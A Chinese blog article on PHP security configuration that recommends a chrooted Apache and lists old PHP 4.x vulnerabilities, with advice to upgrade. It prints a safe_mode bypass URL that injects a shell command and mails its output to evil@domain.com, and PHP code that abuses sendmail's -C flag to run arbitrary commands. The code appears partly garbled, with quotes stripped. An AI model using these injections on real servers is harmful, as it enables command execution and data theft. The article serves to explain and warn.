热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

PHP安全配置之实现安全的两个重点

PHP实在不过是Web服务器的一个模块功效,所以首先要保证Web服务器的安全。当然Web服务器要安全又必需是先保证系统安全,这样就扯远了,无限无尽。PHP可以和各种Web服务器联合,这里也只讨论Apache。非常建议以chroot方法安装启动Apache
一、Web服务器安全 

  PHP实在不过是Web服务器的一个模块功效,所以首先要保证Web服务器的安全。当然Web服务器要安全又必需是先保证系统安全,这样就扯远了,无限无尽。PHP可以和各种Web服务器联合,这里也只讨论Apache。非常建议以chroot方法安装启动Apache,这样即使Apache和PHP及其脚本呈现漏洞,受影响的也只有这个禁锢的系统,不会迫害实际系统。但是应用chroot的Apache后,给利用也会带来必定的麻烦,比如连接mysql时必需用127.0.0.1地址应用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个标题,由于php.ini里的: 

[mail function] 
; For Win32 only. 
SMTP = localhost 
; For Win32 only. 
sendmail_from = me@localhost.com 
  都是针对Win32平台,所以需要在chroot环境下调剂好sendmail。 

  二、PHP本身标题 

  1、远程溢出 

  PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛传播,成功率非常高. 

  2、远程拒尽服务 

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST恳求处理远程漏洞,固然不能获得本地用户权限,但是也能造成拒尽服务。 

  3、safe_mode绕过漏洞 

  还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制履行命令漏洞,4.0.5版本开端mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制履行命令。其中4.0.5版本突破非常简略,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php: 

  履行如下的URL: 

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com 

  这将id履行的成果发送给evil@domain.com。 

  对于4.0.6至4.2.2的PHP突破safe_mode限制实在是利用了sendmail的-C参数,所以系统必需是应用sendmail。如下的代码能够突破safe_mode限制履行命令: 

  #留心,下面这两个必需是不存在的,或者它们的属主和本脚本的属主是一样:

$script=/tmp/script123; 
$cf=/tmp/cf123; 
$fd = fopen($cf, w); 
fwrite($fd, OQ/tmp 
Sparse=0 
R$* . chr(9) . $#local $@ $1 $: $1 
Mlocal, P=/bin/sh, A=sh $script); 
fclose($fd); 
$fd = fopen($script, w); 
fwrite($fd, rm -f $script $cf; ); 
fwrite($fd, $cmd); 
fclose($fd); 
mail(nobody, , , , -C$cf); 
?> 
  还是应用以上有标题版本PHP的用户必定要及时升级到最新版本,这样才干打消基础的安全标题。 
推荐阅读
  • 本文详细探讨了在Web开发中常见的UTF-8编码问题及其解决方案,包括HTML页面、PHP脚本、MySQL数据库以及JavaScript和Flash应用中的乱码问题。 ... [详细]
  • H5技术实现经典游戏《贪吃蛇》
    本文将分享一个使用HTML5技术实现的经典小游戏——《贪吃蛇》。通过H5技术,我们将探讨如何构建这款游戏的两种主要玩法:积分闯关和无尽模式。 ... [详细]
  • 软件测试行业深度解析:迈向高薪的必经之路
    本文深入探讨了软件测试行业的发展现状及未来趋势,旨在帮助有志于在该领域取得高薪的技术人员明确职业方向和发展路径。 ... [详细]
  • 我的读书清单(持续更新)201705311.《一千零一夜》2006(四五年级)2.《中华上下五千年》2008(初一)3.《鲁滨孙漂流记》2008(初二)4.《钢铁是怎样炼成的》20 ... [详细]
  • 解决PHP项目在服务器无法抓取远程网页内容的问题
    本文探讨了在使用PHP进行后端开发时,遇到的一个常见问题:即在本地环境中能够正常通过CURL获取远程网页内容,但在服务器上却无法实现。我们将分析可能的原因并提供解决方案。 ... [详细]
  • 本文总结了一次针对大厂Java研发岗位的面试经历,探讨了面试中常见的问题及其背后的原因,并分享了一些实用的面试准备资料。 ... [详细]
  • 深入理解:AJAX学习指南
    本文详细探讨了AJAX的基本概念、工作原理及其在现代Web开发中的应用,旨在为初学者提供全面的学习资料。 ... [详细]
  • 本文探讨了在Windows系统中运行Apache服务器时频繁出现崩溃的问题,并提供了多种可能的解决方案和建议。错误日志显示多个子进程因达到最大请求限制而退出。 ... [详细]
  • 本文探讨了在MySQL数据库中处理大规模数据删除的最佳实践,包括分批删除、利用索引、管理事务以及选择合适的删除命令等策略,旨在提升删除效率并确保系统稳定。 ... [详细]
  • Docker安全策略与管理
    本文探讨了Docker的安全挑战、核心安全特性及其管理策略,旨在帮助读者深入理解Docker安全机制,并提供实用的安全管理建议。 ... [详细]
  • HBase 数据复制与灾备同步策略
    本文探讨了HBase在企业级应用中的数据复制与灾备同步解决方案,包括存量数据迁移及增量数据实时同步的方法。 ... [详细]
  • 2023年,Android开发前景如何?25岁还能转行吗?
    近期,关于Android开发行业的讨论在多个平台上热度不减,许多人担忧其未来发展。本文将探讨当前Android开发市场的现状、薪资水平及职业选择建议。 ... [详细]
  • 从理想主义者的内心深处萌发的技术信仰,推动了云原生技术在全球范围内的快速发展。本文将带你深入了解阿里巴巴在开源领域的贡献与成就。 ... [详细]
  • Windows操作系统提供了Encrypting File System (EFS)作为内置的数据加密工具,特别适用于对NTFS分区上的文件和文件夹进行加密处理。本文将详细介绍如何使用EFS加密文件夹,以及加密过程中的注意事项。 ... [详细]
  • 本文探讨了在一个物理隔离的环境中构建数据交换平台所面临的挑战,包括但不限于数据加密、传输监控及确保文件交换的安全性和可靠性。同时,作者结合自身项目经验,分享了项目规划、实施过程中的关键决策及其背后的思考。 ... [详细]
author-avatar
黑马@梦想
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有